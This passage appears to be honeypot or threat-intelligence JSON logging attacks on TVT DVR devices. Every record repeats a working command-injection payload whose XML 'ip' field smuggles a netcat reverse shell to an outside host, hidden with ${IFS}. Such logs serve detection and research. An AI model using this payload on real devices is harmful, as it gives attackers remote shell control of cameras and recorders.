  2306.       "source_ip_address": "76.184.117.14",
  2307.       "country": "US",
  2308.       "user_agent": "Help",
  2309.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2310.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2311.       "target_port": 80,
  2312.       "protocol": "tcp",
  2313.       "tags": [
  2314.         {
  2315.           "cve": "",
  2316.           "category": "IoT",
  2317.           "description": "TVT (Generic OEM) DVR RCE"
  2318.         }
  2319.       ],
  2320.       "event_count": 1,
  2321.       "first_seen": "2019-12-22T21:29:21Z",
  2322.       "last_seen": "2019-12-22T21:29:21Z"
  2323.     },
  2324.     {
  2325.       "source_ip_address": "211.75.246.171",
  2326.       "country": "TW",
  2327.       "user_agent": "Help",
  2328.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2329.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2330.       "target_port": 8080,
  2331.       "protocol": "tcp",
  2332.       "tags": [
  2333.         {
  2334.           "cve": "",
  2335.           "category": "IoT",
  2336.           "description": "TVT (Generic OEM) DVR RCE"
  2337.         }
  2338.       ],
  2339.       "event_count": 2,
  2340.       "first_seen": "2019-12-22T21:26:27Z",
  2341.       "last_seen": "2019-12-22T21:26:27Z"
  2342.     },
  2343.     {
  2344.       "source_ip_address": "114.35.190.194",
  2345.       "country": "TW",
  2346.       "user_agent": "Help",
  2347.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2348.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2349.       "target_port": 8080,
  2350.       "protocol": "tcp",
  2351.       "tags": [
  2352.         {
  2353.           "cve": "",
  2354.           "category": "IoT",
  2355.           "description": "TVT (Generic OEM) DVR RCE"
  2356.         }
  2357.       ],
  2358.       "event_count": 1,
  2359.       "first_seen": "2019-12-22T21:19:17Z",
  2360.       "last_seen": "2019-12-22T21:19:17Z"
  2361.     },
  2362.     {
  2363.       "source_ip_address": "220.135.136.169",
  2364.       "country": "TW",
  2365.       "user_agent": "Help",
  2366.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2367.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2368.       "target_port": 8080,
  2369.       "protocol": "tcp",
  2370.       "tags": [
  2371.         {
  2372.           "cve": "",
  2373.           "category": "IoT",
  2374.           "description": "TVT (Generic OEM) DVR RCE"
  2375.         }
  2376.       ],
  2377.       "event_count": 1,
  2378.       "first_seen": "2019-12-22T21:17:18Z",
  2379.       "last_seen": "2019-12-22T21:17:18Z"
  2380.     },
  2381.     {
  2382.       "source_ip_address": "189.172.5.19",
  2383.       "country": "MX",
  2384.       "user_agent": "Help",
  2385.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2386.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2387.       "target_port": 81,
  2388.       "protocol": "tcp",
  2389.       "tags": [
  2390.         {
  2391.           "cve": "",
  2392.           "category": "IoT",
  2393.           "description": "TVT (Generic OEM) DVR RCE"
  2394.         }
  2395.       ],
  2396.       "event_count": 1,
  2397.       "first_seen": "2019-12-22T21:13:32Z",
  2398.       "last_seen": "2019-12-22T21:13:32Z"
  2399.     },
  2400.     {
  2401.       "source_ip_address": "82.80.132.136",
  2402.       "country": "IL",
  2403.       "user_agent": "Help",
  2404.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2405.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2406.       "target_port": 80,
  2407.       "protocol": "tcp",
  2408.       "tags": [
  2409.         {
  2410.           "cve": "",
  2411.           "category": "IoT",
  2412.           "description": "TVT (Generic OEM) DVR RCE"
  2413.         }
  2414.       ],
  2415.       "event_count": 1,
  2416.       "first_seen": "2019-12-22T21:01:08Z",
  2417.       "last_seen": "2019-12-22T21:01:08Z"
  2418.     },
  2419.     {
  2420.       "source_ip_address": "220.132.118.50",
  2421.       "country": "TW",
  2422.       "user_agent": "Help",
  2423.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2424.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2425.       "target_port": 88,
  2426.       "protocol": "tcp",
  2427.       "tags": [
  2428.         {
  2429.           "cve": "",
  2430.           "category": "IoT",
  2431.           "description": "TVT (Generic OEM) DVR RCE"
  2432.         }
  2433.       ],
  2434.       "event_count": 1,
  2435.       "first_seen": "2019-12-22T20:45:26Z",
  2436.       "last_seen": "2019-12-22T20:45:26Z"
  2437.     },
  2438.     {
  2439.       "source_ip_address": "122.116.167.31",
  2440.       "country": "TW",
  2441.       "user_agent": "Help",
  2442.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2443.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2444.       "target_port": 81,
  2445.       "protocol": "tcp",
  2446.       "tags": [
  2447.         {
  2448.           "cve": "",
  2449.           "category": "IoT",
  2450.           "description": "TVT (Generic OEM) DVR RCE"
  2451.         }
  2452.       ],
  2453.       "event_count": 20,
  2454.       "first_seen": "2019-12-22T20:43:31Z",
  2455.       "last_seen": "2019-12-22T20:43:31Z"
  2456.     },
  2457.     {
  2458.       "source_ip_address": "114.199.52.199",
  2459.       "country": "KR",
  2460.       "user_agent": "Help",
  2461.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2462.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2463.       "target_port": 8000,
  2464.       "protocol": "tcp",
  2465.       "tags": [
  2466.         {
  2467.           "cve": "",
  2468.           "category": "IoT",
  2469.           "description": "TVT (Generic OEM) DVR RCE"
  2470.         }
  2471.       ],
  2472.       "event_count": 3,
  2473.       "first_seen": "2019-12-19T04:04:46Z",
  2474.       "last_seen": "2019-12-22T20:22:53Z"
  2475.     },
  2476.     {
  2477.       "source_ip_address": "66.169.170.17",
  2478.       "country": "US",
  2479.       "user_agent": "Help",
  2480.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2481.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2482.       "target_port": 88,
  2483.       "protocol": "tcp",
  2484.       "tags": [
  2485.         {
  2486.           "cve": "",
  2487.           "category": "IoT",
  2488.           "description": "TVT (Generic OEM) DVR RCE"
  2489.         }
  2490.       ],
  2491.       "event_count": 1,
  2492.       "first_seen": "2019-12-22T20:21:01Z",
  2493.       "last_seen": "2019-12-22T20:21:01Z"
  2494.     },
  2495.     {
  2496.       "source_ip_address": "168.121.41.124",
  2497.       "country": "BR",
  2498.       "user_agent": "Help",
  2499.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2500.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2501.       "target_port": 88,
  2502.       "protocol": "tcp",
  2503.       "tags": [
  2504.         {
  2505.           "cve": "",
  2506.           "category": "IoT",
  2507.           "description": "TVT (Generic OEM) DVR RCE"
  2508.         }
  2509.       ],
  2510.       "event_count": 4,
  2511.       "first_seen": "2019-12-22T20:20:02Z",
  2512.       "last_seen": "2019-12-22T20:20:02Z"
  2513.     },
  2514.     {
  2515.       "source_ip_address": "115.134.11.32",
  2516.       "country": "MY",
  2517.       "user_agent": "Help",
  2518.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2519.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2520.       "target_port": 8080,
  2521.       "protocol": "tcp",
  2522.       "tags": [
  2523.         {
  2524.           "cve": "",
  2525.           "category": "IoT",
  2526.           "description": "TVT (Generic OEM) DVR RCE"
  2527.         }
  2528.       ],
  2529.       "event_count": 1,
  2530.       "first_seen": "2019-12-22T20:12:04Z",
  2531.       "last_seen": "2019-12-22T20:12:04Z"
  2532.     },
  2533.     {
  2534.       "source_ip_address": "5.12.77.175",
  2535.       "country": "RO",
  2536.       "user_agent": "Help",
  2537.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2538.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2539.       "target_port": 80,
  2540.       "protocol": "tcp",
  2541.       "tags": [
  2542.         {
  2543.           "cve": "",
  2544.           "category": "IoT",
  2545.           "description": "TVT (Generic OEM) DVR RCE"
  2546.         }
  2547.       ],
  2548.       "event_count": 2,
  2549.       "first_seen": "2019-12-21T06:32:29Z",
  2550.       "last_seen": "2019-12-22T19:48:25Z"
  2551.     },
  2552.     {
  2553.       "source_ip_address": "50.241.64.78",
  2554.       "country": "US",
  2555.       "user_agent": "Help",
  2556.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2557.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2558.       "target_port": 8080,
  2559.       "protocol": "tcp",
  2560.       "tags": [
  2561.         {
  2562.           "cve": "",
  2563.           "category": "IoT",
  2564.           "description": "TVT (Generic OEM) DVR RCE"
  2565.         }
  2566.       ],
  2567.       "event_count": 1,
  2568.       "first_seen": "2019-12-22T19:38:47Z",
  2569.       "last_seen": "2019-12-22T19:38:47Z"
  2570.     },
  2571.     {
  2572.       "source_ip_address": "220.135.85.156",
  2573.       "country": "TW",
  2574.       "user_agent": "Help",
  2575.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2576.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2577.       "target_port": 81,
  2578.       "protocol": "tcp",
  2579.       "tags": [
  2580.         {
  2581.           "cve": "",
  2582.           "category": "IoT",
  2583.           "description": "TVT (Generic OEM) DVR RCE"
  2584.         }
  2585.       ],
  2586.       "event_count": 4,
  2587.       "first_seen": "2019-12-22T19:35:02Z",
  2588.       "last_seen": "2019-12-22T19:35:02Z"
  2589.     },
  2590.     {
  2591.       "source_ip_address": "87.97.29.163",
  2592.       "country": "HU",
  2593.       "user_agent": "Help",
  2594.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2595.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2596.       "target_port": 81,
  2597.       "protocol": "tcp",
  2598.       "tags": [
  2599.         {
  2600.           "cve": "",
  2601.           "category": "IoT",
  2602.           "description": "TVT (Generic OEM) DVR RCE"
  2603.         }
  2604.       ],
  2605.       "event_count": 6,
  2606.       "first_seen": "2019-12-22T19:16:11Z",
  2607.       "last_seen": "2019-12-22T19:16:11Z"
  2608.     },
  2609.     {
  2610.       "source_ip_address": "68.129.235.16",
  2611.       "country": "US",
  2612.       "user_agent": "Help",
  2613.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2614.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2615.       "target_port": 81,
  2616.       "protocol": "tcp",
  2617.       "tags": [
  2618.         {
  2619.           "cve": "",
  2620.           "category": "IoT",
  2621.           "description": "TVT (Generic OEM) DVR RCE"
  2622.         }
  2623.       ],
  2624.       "event_count": 1,
  2625.       "first_seen": "2019-12-22T19:11:27Z",
  2626.       "last_seen": "2019-12-22T19:11:27Z"
  2627.     },
  2628.     {
  2629.       "source_ip_address": "190.34.236.78",
  2630.       "country": "PA",
  2631.       "user_agent": "Help",
  2632.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2633.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2634.       "target_port": 81,
  2635.       "protocol": "tcp",
  2636.       "tags": [
  2637.         {
  2638.           "cve": "",
  2639.           "category": "IoT",
  2640.           "description": "TVT (Generic OEM) DVR RCE"
  2641.         }
  2642.       ],
  2643.       "event_count": 4,
  2644.       "first_seen": "2019-12-22T18:58:22Z",
  2645.       "last_seen": "2019-12-22T18:58:22Z"
  2646.     },
  2647.     {
  2648.       "source_ip_address": "82.50.184.9",
  2649.       "country": "IT",
  2650.       "user_agent": "Help",
  2651.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2652.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2653.       "target_port": 88,
  2654.       "protocol": "tcp",
  2655.       "tags": [
  2656.         {
  2657.           "cve": "",
  2658.           "category": "IoT",
  2659.           "description": "TVT (Generic OEM) DVR RCE"
  2660.         }
  2661.       ],
  2662.       "event_count": 2,
  2663.       "first_seen": "2019-12-22T18:43:32Z",
  2664.       "last_seen": "2019-12-22T18:43:32Z"
  2665.     },
  2666.     {
  2667.       "source_ip_address": "47.199.54.172",
  2668.       "country": "US",
  2669.       "user_agent": "Help",
  2670.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2671.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2672.       "target_port": 8000,
  2673.       "protocol": "tcp",
  2674.       "tags": [
  2675.         {
  2676.           "cve": "",
  2677.           "category": "IoT",
  2678.           "description": "TVT (Generic OEM) DVR RCE"
  2679.         }
  2680.       ],
  2681.       "event_count": 2,
  2682.       "first_seen": "2019-12-22T18:42:42Z",
  2683.       "last_seen": "2019-12-22T18:42:42Z"
  2684.     },
  2685.     {
  2686.       "source_ip_address": "59.125.188.199",
  2687.       "country": "TW",
  2688.       "user_agent": "Help",
  2689.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2690.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2691.       "target_port": 8080,
  2692.       "protocol": "tcp",
  2693.       "tags": [
  2694.         {
  2695.           "cve": "",
  2696.           "category": "IoT",
  2697.           "description": "TVT (Generic OEM) DVR RCE"
  2698.         }
  2699.       ],
  2700.       "event_count": 2,
  2701.       "first_seen": "2019-12-22T18:38:15Z",
  2702.       "last_seen": "2019-12-22T18:38:15Z"
  2703.     },
  2704.     {
  2705.       "source_ip_address": "154.66.154.96",
  2706.       "country": "ZA",
  2707.       "user_agent": "Help",
  2708.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2709.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2710.       "target_port": 80,
  2711.       "protocol": "tcp",
  2712.       "tags": [
  2713.         {
  2714.           "cve": "",
  2715.           "category": "IoT",
  2716.           "description": "TVT (Generic OEM) DVR RCE"
  2717.         }
  2718.       ],
  2719.       "event_count": 4,
  2720.       "first_seen": "2019-12-22T18:14:28Z",
  2721.       "last_seen": "2019-12-22T18:14:28Z"
  2722.     },
  2723.     {
  2724.       "source_ip_address": "61.70.132.168",
  2725.       "country": "TW",
  2726.       "user_agent": "Help",
  2727.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2728.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2729.       "target_port": 8000,
  2730.       "protocol": "tcp",
  2731.       "tags": [
  2732.         {
  2733.           "cve": "",
  2734.           "category": "IoT",
  2735.           "description": "TVT (Generic OEM) DVR RCE"
  2736.         }
  2737.       ],
  2738.       "event_count": 1,
  2739.       "first_seen": "2019-12-22T18:10:48Z",
  2740.       "last_seen": "2019-12-22T18:10:48Z"
  2741.     },
  2742.     {
  2743.       "source_ip_address": "104.172.41.232",
  2744.       "country": "US",
  2745.       "user_agent": "Help",
  2746.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2747.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2748.       "target_port": 81,
  2749.       "protocol": "tcp",
  2750.       "tags": [
  2751.         {
  2752.           "cve": "",
  2753.           "category": "IoT",
  2754.           "description": "TVT (Generic OEM) DVR RCE"
  2755.         }
  2756.       ],
  2757.       "event_count": 1,
  2758.       "first_seen": "2019-12-22T18:10:44Z",
  2759.       "last_seen": "2019-12-22T18:10:44Z"
  2760.     },
  2761.     {
